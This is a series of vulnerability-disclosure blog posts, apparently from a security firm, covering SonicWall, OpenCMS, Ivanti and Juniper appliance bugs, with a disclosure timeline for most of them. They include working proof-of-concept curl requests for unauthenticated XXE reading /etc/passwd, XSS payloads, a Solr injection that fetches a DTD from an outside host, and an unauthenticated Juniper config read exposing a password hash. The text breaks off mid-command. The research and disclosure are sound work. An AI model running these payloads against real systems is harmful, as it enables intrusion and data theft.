.data:0000000008BCB45A 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB460 00 00 00 00 00+                dq 0                    ; info_COMPLETE.field_0
.data:0000000008BCB468 00 00 00 00 00+                dq 0                    ; info_COMPLETE.handlerFunc
.data:0000000008BCB470 00 00 00 00 00+                dd 0                    ; info_COMPLETE.flags
.data:0000000008BCB474 00 00 00 00 00+                dd 0                    ; info_COMPLETE.field_14
.data:0000000008BCB478 00 00 00 00 00+                dd 0                    ; info_COMPLETE.somethingToDoWithContentType_in
.data:0000000008BCB47C 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB494 00 00 00 00 00+                dd 0                    ; info_COMPLETE.somethingToDoWithContentType_out
.data:0000000008BCB498 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB4B0 00 00 00 00 00+                dw 0                    ; info_COMPLETE.flagsToDoWithContentType
.data:0000000008BCB4B2 00 00 00 00 00+                db 5 dup(0)
.data:0000000008BCB4B7 00 00 00 00 00+                db 0                    ; field_277
.data:0000000008BCB4B8                ; sonicos_api_hateoas_entry

It’s a big struct, but it’s actually simple.

The first element is the name of the endpoint being described (here /api/sonicos). This is followed by six structures, each describing its behaviour when queried using six verbs - GET, POST, PUT, PATCH, DELETE, HEAD, and the SonicWall-unique COMPLETE. Each of those structures specifies a handler function and some flags, along with some miscellaneous information. The flags specify if the request should contain a request body, or if access should only be granted to authenticated users.

Again, we wrote some quick IDAPython to enumerate the endpoints, and added them to our list.

Now satisfied that we’ve amassed details of as many endpoints as we can (slightly over 600), we built an extremely low-tech fuzzer, by simply taking a list of endpoints and using a regular expression to turn each into a cURL request.

Sometimes simple is best, and there was no need to even write a Python script in this case! We went from our list of endpoints to a file similar to this:

curl  https://192.168.70.77:4433/api/sonicos/dynamic-file/IgmpState.xml --insecure --header "Authorization: Bearer [truncated]" --header "Content-Type: application/json, text/plain, */*"
curl  https://192.168.70.77:4433/api/sonicos/dynamic-file/accessRuleStats.xml --insecure --header "Authorization: Bearer [truncated]" --header "Content-Type: application/json, text/plain, */*"
curl  https://192.168.70.77:4433/api/sonicos/dynamic-file/accessRuleStats.xml --insecure --header "Authorization: Bearer [truncated]" --header "Content-Type: application/json, text/plain, */*"

If you’re following along at home, note the Content-Type header, which is required for handlers to be called.

Somewhat surprisingly, our 600-line batch script was successful in crashing the SonicWall appliance, with multiple endpoints causing individual crashes.

Each time we ran it, we simply took note of which URL crashed the device, commented it out, and re-ran the script to see if any other endpoints exhibited the same behaviour. Amazingly, we found no less than seven endpoints that crashed the SonicWall device in no less than six different code paths!

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

While I won’t bore you with the details of each, here’s one which is a good example of what we found - fetching from any of these two endpoints, after authentication, causes a NULL dereference.

GET /api/sonicos/dynamic-file/ssoStats-[any string].xml
GET /api/sonicos/dynamic-file/ssoStats-[any string].wri
Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Here’s a handy table of the codepaths and endpoints we found:

CVE Endpoint Type Impact
CVE-2023-39278 /api/sonicos/main.cgi Abort due to assertion failure VPN-user authenicated DoS
CVE-2023-39279 /api/sonicos/dynamic-file/getPacketReplayData.json NULL dereference VPN-user authenicated DoS
CVE-2023-39280 /api/sonicos/dynamic-file/ssoStats-[any string].xml or /api/sonicos/dynamic-file/ssoStats-[any string].wri NULL dereference VPN-user authenicated DoS
CVE-2023-41711 /api/sonicos/dynamic-file/prefs.exp NULL dereference VPN-user authenicated DoS
CVE-2023-41711 /api/sonicos/dynamic-file/sonicwall.exp NULL dereference VPN-user authenicated DoS
CVE-2023-41712 /api/sonicos/dynamic-file/plainprefs.exp Abort due to assertion failure VPN-user authenicated DoS

Conclusion

So, what have we got, in total? Well, five CVEs over seven endpoints above, plus the following:

CVEEndpointTypeImpact
CVE-2023-41713UnknownHard-coded credentialsUnknown
CVE-2023-39277/api/sonicos/dynamic-file/sonicflow.csv or /api/sonicos/dynamic-file/appflowsessions.csvStack buffer overflowVPN-user authenicated DoS (or RCE in debug mode)
CVE-2023-39276 /api/sonicos/dynamic-file/getBookmarkList.jsonStack buffer overflowVPN-user authenicated DoS (or RCE in debug mode)

Not a bad haul!

It is interesting - and slightly worrying, if we’re totally honest - that we found so many very simple bugs using our simple “regex and curl”-based “fuzzer”. Simple bugs like this simply shouldn’t exist on a ‘hardened’ border device like this. It is likely that the high barrier to entry (FDE, for example) has excluded many researchers who could otherwise have found these very straightforward bugs. It is very fortunate (and no doubt deliberate) that SonicWall build their NSv’s main codebase with FORTIFY_SOURCE.

The real moral of the story is a lesson for attackers and fellow researchers - attack ‘hard’ targets, with significant barriers to entry, and often you’ll be surprised by just how ‘soft’ they are.

All of these issues have been fixed by SonicWall. Depending on your device, the specific version containing updates may vary - refer to SonicWall's remediation advice, summarised below. Those who use the SSLVPN functionality are advised to upgrade to avoid potential DoS vulnerabilities, and those that run their devices in debug mode - if such users exist! - are advised to upgrade as a matter of urgency to avoid exposure to two authenticated RCE bugs.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

In addition to assigning CVE for these issues, and issuing fixes, SonicWall took the extra step of providing us with a test build of their router firmware so that we could double-check that issues had been fixed, a useful extra step to ensure the safety of their users. We also appreciate their recognition in admitting watchTowr to their ‘hall of fame’.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Timeline

Date Detail
28th June 2023 Initial report to SonicWall PSIRT
29th June 2023 SonicWall PSIRT acknowledges report
6th July 2023 SonicWall PSIRT reports progress, requests more information for certain bugs
6th July 2023 watchTowr responds with more detail
10th August 2023 SonicWall PSIRT requests extension of 90-day grace period to “October 12-17th”
13th August 2023 watchTowr grants extension
8th September 2023 SonicWall PSIRT shares CVE details with watchTowr along with internal test build
24th September 2023 watchTowr confirms internal test build fixes bugs
17th October 2023 SonicWall PSIRT release fixes and advisory, https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0012

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

By: Sonny
21 November 2023 at 06:11
XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

In the idealistic world of security research, we’d be faced with the latest versions of off-the-shelf enterprise products, primed with fresh hardened code ready for analysis and code kung-fu.

In reality, however, enterprises and users often don’t update their installations unless world-ending, impactful security flaws are demonstrated or there exists a hard business requirement for new functionality. Sometimes, we’re required to step into the TARDIS and travel back in time to assault our targets, with modern techniques, against historical releases.

In this post, we will detail a recent journey into the popular open-source framework OpenCMS and its diverse presence of versions across the Internet with the same goal as ever - break things.

For those wondering ‘what is OpenCMS’? Well, it’s an open-source Java framework developed by Alkacon. Boasting over 500 stars on Github, a short Internet search reveals tens of thousands of installations with various versions in use - http://www.opencms.org/en/.

We were quick to note large enterprises within a diverse set of sectors using this framework, so as per before - we're back to project some mayhem.

Travelling back in time

Before diving into the code, we spent some time sleuthing across the Internet to see how prevalent OpenCMS is. While we were excited to see tens of thousands of installations, we were bemused by the divergence in versions being utilised.

At the time of writing, the latest version available was 16.0. However, using a beautifully exposed version HTTP response header to analyse data across a large amount of deployments, we can see 6,000 instances using OpenCMS 7, which comes in at a whopping 15 years old (being released July 2007), all the way up until recent releases.

Having looked through the published CVE set for OpenCMS, there appeared to be few world-ending bugs that would persuade users to update their instances.

Naturally, and as always, we set out with a gut feeling that vulnerabilities of catastrophic impact existed within these old-timey installs. Exploitation techniques have progressed throughout the years and (even more importantly, as we’ll see along the way) outdated dependencies also play a large part in contributing to vulnerabilities in frameworks. (Thank you Github watchers!)

Before continuing, we had to settle on a relatively old version to review, and so we settled on OpenCMS 9.5.3.

OpenCMS 9.5.3 is exposed on nearly 1,000 installations, and also noted that this is roughly when OpenCMS decided to release Docker Images for developers to quickly boot up. - https://hub.docker.com/r/alkacon/opencms-docker/tags?page=1

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

So that’s it - with 1.21 Gigawatts of ideas, we stepped into the DeLorean and packed our backpack with techniques ready to peruse code and entice users to update their frameworks.

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

With a lab target up and running version 9.5.3, the first thing we always like to do (as we have obsessively blogged about previously) with any Java application is to take a look at all of the servlets and filters available by examining the web.xml . These can be detailed within the url-pattern XML tags.

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

Above, we can see the url-pattern for /cmisatom/* is mapped to the servlet class org.apache.chemistry.opencmis.server.impl.atompub.CmisAtomPubServlet. Just by looking at the classpath we can see it is related to the “Apache Chemistry” library. A quick Google search brings us to the documentation for the endpoint in the context of OpenCMS: https://documentation.opencms.org/opencms-documentation/interfaces/cmis/index.html

In short, it provides the ability for remote applications to interact with the file repository of the application’s web root and its relative resources. It is more-or-less a way for headless automation to take place by simulating user presence.

Apache provides a Java Thick Client which can interact with the endpoint via “Apache Chemistry Workbench”. Let’s give it a look!

Well, after filling in the endpoint connection details and skipping authentication (who needs that?), we’re presented with this stunning 1990s-looking Java GUI that can list files and their relevant access controls:

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

One of the first things we noticed with this GUI is that it provides the ability to download files. Depending on the configuration of the target, it may be possible to navigate the web directory and download .jsp files, which then can be searched for sensitive source code or hardcoded credentials. This is not the case though, with the vanilla build, but may come into play with customised code.

A little tidbit to note: authentication to this endpoint uses Basic Auth. When brute forcing credentials via the administrative servlets of OpenCMS, there is a lockout mechanism - however this does not apply to the /cmisatom/ endpoint 🙂.

When first loading up the GUI we have the option to authenticate as a user of the OpenCMS framework, however as we're aiming for pre-authenticated bugs of joy and decided to skip this step, a lot of the functionality is blocked in terms of creating objects or editing files. A quick way to way to test all of the available API’s actionable by pre-authenticated users is using the “TCK” function, which runs a smoke test against the applications resource repositories with your current permissions.

This generates requests to the server for querying data, navigating directories as well as attempting to create and delete objects, so be careful using this as it may populate the target with test data should there be any permission misconfigurations.

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

As can be seen below, a number of requests are sent to the target by this ‘TCK’ function. One that caught our attention was the /query endpoint, which receives an XML formatted POST request with SQL-like syntax. This syntax is actually Apache Chemistry’s own language (for more info, see here).

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

After seeing intriguing syntax like this, we immediately started testing for any kind of SQL or XXE-like vulnerabilities. As a quick test, we threw some common payloads from the ‘payloads all the things’ repository at it, and hoped for a quick-and-easy win.

Funnily enough, a simple XXE Out of Bounds (OOB) payload works - we can see the stack trace of the parser outputting the error whilst it's attempting to parse an external DTD file:

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

The OOB server receives a successful HTTP request for the DTD file from the application server, indicating that XXE is possible through the injection of External Entities. This is exciting, a pre-authenticated XXE in a popular CMS framework, how far can we take it?

Whilst in our lab environment we have a likely quick route to success, we’re aware that in reality, most large enterprises will usually monitor egress traffic and block fetching external DTD’s, so perhaps we can do better? Posing the question to ourselves, can we sidestep the requirement for an HTTP fetch by including a DTD file which already exists on the server itself?

Whilst it's straight forward for us to find which DTD files exists within our Docker environment, we figured it would be neat to demonstrate from a black box perspective how to discover available DTD's should a target environment differ.

For this, we can use the wordlist from the fantastic dtd-finder project, simply requesting each and filtering error messages. We soon find that the DTD file [file:///usr/share/nmap/nmap.dtd](file:///usr/share/nmap/nmap.dtd) would exists on our target, and has the correct permissions for us to invoke it.

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

As well as the wordlist of DTD files, the dtd-finder Github repo also provides corresponding XXE payloads. Luckily for us, there is a payload which uses this nmap.dtd file for our pre-authenticated local file read. Bingo bango breach and tango!

XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)
A quick afterthought (somewhat humorous to add): while writing the blog, we realised that the statements value is reflected directly into the location header of the response. By simply declaring an entity within the XML document, then referencing it in the CMIS statement, we can get a nice printout of the file, including directory listing into the response header. So much for those efforts with the error based approach!
XXE, You Can Depend On Me (OpenCMS CVE-2023-42344 and Friends)

Full request:

POST /opencms/cmisatom/cmis-online/query HTTP/1.1
Content-Type: application/cmisquery+xml
Host: host
Content-Length: 524
Connection: close

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><cmis:query xmlns:cmis="<http://docs.oasis-open.org/ns/cmis/core/200908/>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>

While it is pretty clear the issue resides within the Apache Chemistry dependency, this dependency wasn’t introduced into OpenCMS until version 9, and the XXE is present up until version 10.5.0 as they originally used the library chemistry-opencmis-commons-api-0.7.0.jar which was resolved in 10.5.1 with the patched dependency chemistry-opencmis-commons-api-1.0.0.jar when external entities was disabled.

We discovered a number of other issues across various versions of OpenCMS, it would be to convoluted to dive into all of them but we’re happy to provide a table break down of the vulnerabilities exposed in their corresponding versions.

OpenCMS Version Vulnerability Patched Version CVE ID
9 XML External Entity (XXE) Processing (Unauthenticated) 10.5.1 CVE-2023-42344
9 Cross-Site Scripting 10.5.1 CVE-2023-42343
15 Cross-Site Scripting 16 CVE-2023-42345
9 Apache Solr Injection (Unauthenticated) 16 CVE-2023-42346

To make sure our fellow bug hunters can reproduce our findings and follow along at home, here are the proof of concepts for the above bugs discovered in OpenCMS:

XML External Entity (XXE) Processing (CVE-2023-42344)(Unauthenticated)

curl -i -s -k -X $'POST' \\
    -H $'Content-Type: application/cmisquery+xml' -H $'Host: <host>' -H $'Content-Length: 524' -H $'Connection: close' \\
    --data-binary $'<?xml version=\\'1.0\\' encoding=\\'UTF-8\\'?><!DOCTYPE root [<!ENTITY test SYSTEM \\'file:///etc/passwd\\'>]><cmis:query xmlns:cmis=\\"<http://docs.oasis-open.org/ns/cmis/core/200908/\\>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>' \\
    $'http://<host>/opencms/cmisatom/cmis-online/query'

XSS (CVE-2023-42343)

curl -i -s -k -X $'GET' \\
    -H $'Content-Type: application/cmisquery+xml' -H $'Host: <host>' \\
    $'http://<host>/opencms/cmisatom/cmis-online/type?id=2%27%22%3E%3Csvg%2Fonload%3Dalert(\\'watchTowr\\')%3E'

XSS (CVE-2023-42345) (Post Authentication)

curl -i -s -k -X $'GET' \\
    -H $'Host: <host>' \\
    $'http://<host>/opencms/system/modules/org.opencms.base/pages/updateModelGroups.jsp?basePath=%22%3e%3csvg+onload=alert(\\'watchTowr\\')%3e&baseContainerName='

Apache Solr Injection (CVE-2023-42346) (XXE Variant exists in OpenCMS 10.5.4) (Unauthenticated)

curl -i -s -k -X $'GET' \\
    -H $'Host: <host>' \\
    $'http://<host>/cmisatom/cmis-online/query?q=fq=%7b!xmlparser%20v=%27%3c!DOCTYPE%20a%20SYSTEM%20%22http://<external-host>/payload.dtd%22%3e%3ca%3e%3c/a%3e%27%7d'

Conclusion

Looking for zero days across the latest versions of applications may be fun, but its not always necessary to break into your specific target. Vulnerabilities may exist within the solution itself, but more often than not, dependencies can introduce exploitable vulnerabilities of their own. An interesting thought to note - once a vulnerability has been found in a dependency as detailed above, what other projects can we find to be using that same library at that same version? Is it a lead to more vulnerabilities within frameworks?

Our memory is not lost on the dependency issue that resided within ForgeRock's OpenAM - utilising a pre-historic Jato Framework Dependency - that was eventually leveraged to Pre-Auth Remote Code Execution by artsploit (CVE-2021-35464). Log4Shell (CVE-2021-44228) is another example that keeps paying dividends as the widespread logging library - utilised in thousands of enterprise-software packages.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
7th August 2023 Vulnerability discovered
8th August 2023 Requested security contact for OpenCMS
14th August 2023 Received security contact, disclosed to OpenCMS
18th August 2023 watchTowr hunts through client's attack surfaces for impacted systems, communicates with those affected.
2nd October 2023 OpenCMS release version 16 patching the latest of vulnerabilities
21st November 2023 Blogpost and PoC released to public

Welcome To 2024, The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887

13 January 2024 at 11:48
Welcome To 2024, The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887

Did you have a good break? Have you had a chance to breathe? Wake up.

It’s 2024, and the chaos continues - thanks to Volexity (Volexity’s writeup), the industry has been alerted to in-the-wild exploitation of 2 incredibly serious 0days (CVE-2023-46805 and CVE-2024-21887 - two bugs, Command Injection and Authentication Bypass) in Ivanti (also known as Pulse Secure) Connect Secure (ICS) and Ivanti Policy Secure appliances - facilitating a full-device compromise and takeover.

CVE-2023-46805 & CVE-2024-21887 have been widely reported in the media as being utilised by nation-state-linked APT groups to compromise Ivanti appliances.

We’ve made it no secret - we (watchTowr) hate SSLVPN appliances. Not the concept of them, but that they all appear to have been constructed with the code equivalent of string, stamped with the word ‘secure’ and then just left to decay for 20 years.

What makes this situation even more “offensive” is Ivanti’s response (or lack of) to these vulnerabilities especially given the context - at the time of writing, a mitigation XML file is all that is available, with staggered patches available from the 22nd Jan 2024 per Ivanti. Yes, really.

We’re tired of the lack of responsibility taken by organisations when their devices are the literal gate between the Internet and their internal networks and hold an incredibly critical, and sensitive position in any network architecture.

Here at watchTowr, our job is to tell the organisations we work with whether they’re affected. Thus, we dived in.

If you haven’t read Volexity’s write-up yet, I’d advise reading it first for background information.

What Are The Bugs

As we stated earlier, there are two bugs at play here;

  • CVE-2023-46805 and,
  • CVE-2024-21887

Both are chained together, with CVE-2023-46805 allowing an unauthenticated Internet-based attacker to elevate to execute administrative functionality (bypass authentication), and CVE-2024-21887 allowing Command Execution via Command Injection within vulnerable administrative functionality.

Ivanti has tried very hard to make understanding these vulnerabilities as difficult as possible, distributing only an XML ‘mitigation’ within a private customer portal, and providing no actual patch yet.

Our Approach To Deciphering

Our usual approach with this kind of bug is straightforward - copy all the files from the target appliance, apply the patch, and then compare files. The fixes should make themselves known in the diff, or so the theory goes.

In this case, there is;

  • No actual patch
  • An (encrypted) mitigation XML only

As we dived in, we noted that our approach was hampered slightly by the full-disk encryption that Ivanti use to secure their product - we can’t simply boot into another OS and mount the disks, as they are encrypted with LUKS. Our usual approach would be to extract FDE keys from GRUB, which would typically mount the root device before passing execution to the kernel, but in this case, this was fruitless.

Some further investigation revealed that even the initrd booted is encrypted, which is interesting in itself, and suggests that the kernel itself has been modified to decrypt the image on the fly.

The first thing to try here is the old-faithful init=/bin/sh kernel command line argument, which will, when passed from GRUB, start a shell on the target just after the initrd has been mounted. Once the initrd is mounted and we have a shell, we can simply observe the encryption keys and use them to cold-mount the disks.

Frustratingly, though, attempts to do this were ignored by the appliance, again suggesting a custom kernel. Time to look at that kernel a little closer.

What’s this we see?

__int64 __fastcall sub_FFFFFFFF826CC601(unsigned __int8 *a1)
{
  __int64 i;

  if ( strcmp(a1, "/bin/sh") )
    qword_FFFFFFFF827E2030 = a1;
  for ( i = 0LL; i != 31; ++i )
    qword_FFFFFFFF82212168[i] = 0LL;
  return 1LL;
}

is… is that a blacklist on the term /bin/sh?! Really?! What a bizarre check. It’s easily bypassed, of course, by specifying a slightly different (but equivalent) argument (such as //bin//sh).

Doing so drops us right into a recovery shell, where we can find the FDE keys in /etc/lvmkey, which can then be used to mount the encrypted partitions.

Our approach then is fairly simple - an image of a vulnerable device, an image of a mitigation-applied device, and.. compare!

Unfortunately for us, however, doing so reveals no useful changes between the ‘mitigation XML-applied’ appliances, and vulnerable appliances. Time to take a different tactic.

Perhaps instead of trying to diff the command line by ourselves, we should be paying more attention to what breadcrumbs the vendor has left for us. Let’s take a closer look at the advice that Ivanti has for applying the workaround.

Well, Ivanti’s documentation for the mitigation warns that (among other things) “Automation built with REST API for configuration and monitoring will be impacted”.

Perhaps we should shift our focus there - what can we see that’s changed in the REST API? Let’s fire off a bunch of requests to a ‘patched’ and a ‘vulnerable’ VM, and see if we can spot any divergences.

Welcome To 2024, The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887

Aha! This is looking more like it!

There are a handful of API endpoints that now respond with the above message, stating that access has been ‘blocked by your administrator’, instead of their usual response.

It seems like we’ve found the endpoints that have been restricted by the patch.

Editors note: All details from this point onwards have been redacted due to some inner feeling of moral responsibility that has crept up on us, and not wishing to even possibly add to the current barrage of exploitation that neighbourhood APTs are in the midst of.

Detection Approach

It’s important to note here that these changes in API behaviour happen before any authentication has been carried out, which is a massive help for defenders - given this information, it is straightforward to detect appliances that have had the patch applied without needing to authenticate.

Requesting the endpoint /api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark without supplying any authentication info will respond with an empty 403 if the device is vulnerable:

$ curl -v <https://host/api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark>
...
< HTTP/1.1 403 Forbidden
< Transfer-Encoding: chunked
< X-XSS-Protection: 1
< Strict-Transport-Security: max-age=31536000
<

However, performing the same request on a mitigation XML-applied version yields a full HTML page, rendering as above:

$ curl -v <https://host/api/v1/configuration/users/user-roles/user-role/rest-userrole1/web/web-bookmarks/bookmark>
...
< HTTP/1.1 403 Forbidden
< Content-Type: text/html; charset=utf-8
< Connection: close
< Pragma: no-cache
< Cache-Control: no-store
< Expires: -1
< Content-Length: 3015
< Strict-Transport-Security: max-age=31536000
<
<!-- Copyright (c) 2022 by Ivanti Inc. All rights reserved -->

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name=robots content="none">
<link rel="icon" href="/dana-na/imgs/Product_favicon.png" type="image/png">
<title>Ivanti&#32;Connect&#32;Secure</title>

..truncated..

<div id="error_message_content"  class="intermediate__content">
Access to the Web site is blocked by your administrator. Please notify your system administrator. Made  request for $request to $host:$port

</div>

..truncated..

</html>

It is important to note that this is one of 'a few' detection mechanisms we've identified - but hold a genuine concern that further sharing would ease the reproduction steps for bad-actors that are likely also watching this situation.

Conclusion

Another day, another SSL VPN bug. Sigh.

Welcome To 2024, The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887

It’s been a fun 48 hours for us - reproducing these vulnerabilities, building unauthenticated detection mechanisms and ensuring the attack surfaces we help protect aren’t affected.

We will share details - but while there is in-the-wild exploitation, and Ivanti has not even released a patch - it would be truly irresponsible of us to do so at this point. In this case, we leave you with the below image teasing the Command Injection vulnerability alone - just to keep you on the hook a little.

Welcome To 2024, The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887

Our closing note would be that - and we’re sure there may be legitimate reasons - we are still more than a week away from an actual patch from a security vendor for a pair of vulnerabilities that are being used in the wild by nation-state-linked APT.

But, as an industry, here we are. This is a disappointing place to be.

Once real patches are released, in our usual fashion we will be releasing further details in all their gory (you will cry with us at how ridiculous this all is).

Until then, please ensure sure you apply the mitigation.release.20240107.1.xml that Ivanti provides, and be careful out there - the APT is looking for more vendors that don’t do basic security in their enterprise-grade products.

(P.S. Please also follow Ivanti’s advice and perform integrity checks on your device - applying the mitigation alone is not enough).

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.

The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited

18 January 2024 at 07:38
The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited

Who likes vulnerabilities in appliances from security vendors? Everyone loves appliance vulnerabilities! If, by 'everyone', you mean various ransomware and APT groups of course (and us).

Regular watchTowr-watchers (meta-towr-watchers?) will remember our previous blog post on Juniper's CVE-2023-36844 (and friends), in which we tore JWeb - Juniper’s typical appliance web interface - apart, and rearranged the pieces to form an RCE exploit for the aforementioned CVEs. That group of vulnerabilities went on to become some of 2023’s superstars, as discussed by our friends here:

But, as famous scientists, lawyers and judges have always said; “where there’s smoke, there is fire”. It’s just science.

In the process of our adventures into playing with security appliances that for some reason use PHP interfaces, we actually found more fire. Being the Internet-friends that we are, we duly reported these vulnerabilities to Juniper and which they have been working on ever since.

They did request that we extend our usual 90-day VDP window, and embargo the vulnerabilities until the 11th of January - to align with their release schedule.

For reasons only known to some, Juniper release security advisories in quarterly cycles, taking place on “the second Wednesday of the first month of every quarter”, which recently fell upon the 10th of January.

This strikes us as an odd schedule, given the cadence of the security world in general - we went looking to see if this aligned with certain star formations, or perhaps the location of the moon.

Not finding much fruit in that pursuit, we were forced to conclude that this is likely driven by business reasons - such as the difficulty of QA’ing fixes over a broad and somewhat fragmented combination of OS and hardware - which require that trade-off in responsiveness.

Despite these vulnerabilities being serious enough to require confidentiality during this extended period, Juniper didn’t view them as serious enough to warrant an out-of-cycle advisory or to consistently register CVE numbers (or even to mention them in the patch notes). [Update! Juniper have now done so - see the 'update' section at the end of the post]

But fear not, all the details you could need are contained in this blog post! There are four vulnerabilities in total, ranging in severity.

Let's dive in and take a look - they're good examples of subtle vulnerabilities creeping into a product that obviously has a long legacy behind it. Seemingly simple operations (such as 'format this error message nicely') turn into hazardous calls and enable XSS - and just as innocently, loading an arbitrary file from the file system turns into arbitrary file read.

For the purposes of this research, we looked at version 22.4R2.8 of JunOS.

The Main Course: Authentication Is Optional

Few words will catch an attacker's attention like the combination of these two - "missing authentication". Often the easiest vulnerabilities to exploit, they're beloved by everyone from script-kiddies through to APT groups, and with good reason.

Here, we have a classic case of missing authentication, as requesting a particular URL will enable us to read various temporary files, created by other users, which contain sensitive information.

During the normal course of operation - when an administrative user logs in - various temporary files are created, containing varying levels of sensitive information. The most juicy temporary file contains the entire system configuration, with everything from routing tables and IP data through to the encrypted device password.

You might be thinking - “this is a pretty disastrous file on which to omit authentication” but please remember that we are discussing an appliance from a security vendor and thus we have to expect the bar to be lower.

Fortunately for defenders, requesting this file does require that the correct filename - containing a number - be requested.

It is unclear, however, how that number is generated, and our observation suggests it is generated in a cryptographically insecure manner (for example, we've seen it increment by one when a new user authenticates).

We have a suspicion, but we’ll leave this challenge to the reader (and for fear of another KEV awardee).

$ curl --insecure -X $'POST'     \\
       --data-binary $'method=stream_file_data&force=.1136517270_root_cfg.json'  \\        $'<https://hostname/cache>'
-<html>
    <head></head>
    <body>
    <h5>Your session has expired. <a href="" onclick="return redirectToLogin(this);" style="color: blue;"> Click </a> to redirect to login page</h5>
    <script type="text/javascript">
        function redirectToLogin() {
            window.parent.location.href = "/";
            return false;
        }

        var response = confirm("Your Session has expired. Click OK to redirect to login page.");
        if(response)
            redirectToLogin();
        </script>
    </body>
    </html><?xml version="1.0" encoding="us-ascii"?>
<junoscript xmlns="<http://xml.juniper.net/xnm/1.1/xnm>" xmlns:junos="<http://xml.juniper.net/junos/22.4R0/junos>" schemaLocation="<http://xml.juniper.net/junos/22.4R0/junos> junos/22.4R0/junos.xsd" os="JUNOS" release="22.4R2.8" hostname="" version="1.0">
<!-- session start at 2023-09-26 16:22:25 UTC -->
<!-- No zombies were killed during the creation of this user interface -->
<!-- user root, class super-user -->
<rpc-reply xmlns:junos="<http://xml.juniper.net/junos/22.4R0/junos>">
{
    "configuration" : {
        "@" : {
            "junos:changed-seconds" : "1695144013",
            "junos:changed-localtime" : "2023-09-19 17:20:13 UTC"
        },
<truncated for brevity>

You can see here that we have requested the cache page, and the result is an HTML error page - but following that error page HTTP response is the output of JunOS's RPC mechanism, containing the appliance configuration. Yes... resilience...

It contains oodles of information, including the appliance root password hash:

...
        "system" : {
            "root-authentication" : {
                "encrypted-password" : "$6$36tD63Su$onV8mCOl5HAF2Z1sktp7Vu1ROKD1YJaGTLVNo5DSATHZ3YqCtcKy2e3tfgvhwFxP9WG5Mp9UA3ex11JGtIO/10"
            }
        }
...

That's not cricket!

Recovery of the plaintext of this hash allows an attacker to login to the Juniper appliance via a myriad of interfaces - J-Web itself, SSH, and more.

"Thankfully”, it uses SHA-512 (at least in our test environment), which is at least a secure hashing mechanism - but again having only the strength of a hashing mechanism to give you some comfort about the security of your appliance leaves a lot to be desired.

Given the current state of security appliances - this seems fairly serious and we'd love to understand what does meet the bar for Juniper's out-of-band patch servicing. Maybe a customer can ask?

Side-Dishes: Two-And-A-Half XSS

Our first side-dish vulnerability (assigned CVE-2023-36846 when we reported it in September) simply allows us to upload an arbitrary file to the server, and fetch it later on.

This is almost an XSS (allowing us to plant JavaScript for an unsuspecting administrator to later execute), but is saved by one detail - the filename served is dependent on the currently logged-in user, rendering it useless for privilege escalation.

To demonstrate this flaw, do a POST request to the user.php endpoint as shown below, supplying some data in the body of the request:

$ curl --insecure -X $'POST'      \\
     --data-binary $'watchTowr' \\
     $'<https://hostname/slipstream/preferences/user.php>'

{"status": "Error - Internal error. Cannot identify user."}{"status": "Success - Updated preferences for user"}

The conflicting error message suggests something has gone wrong, and indeed, it has. Requesting the same URL endpoint with a GET will cause the server to cough up the data we planted:

$ curl --insecure $'<https://hostname/slipstream/preferences/user.php>'

{"status": "Error - Internal error. Cannot identify user."}watchTowr

While in isolation this seems quite low-impact, we still view this as a lapse in integrity for an appliance that purports to have security purposes.

Two of the other side dishes are in a similar vein (but without CVE identifiers assigned), allowing an attacker to upload arbitrary data via POST data and display it in an unsafe manner.

Both vulnerabilities are within the webauth_operation.php endpoint (that we note Juniper has appeared to have now completely rm'd).

The first is within the emit_debug_note method, which will echo back the POST data it receives, wrapped in some HTML elements:

$ curl  --insecure -X $'POST'     \\
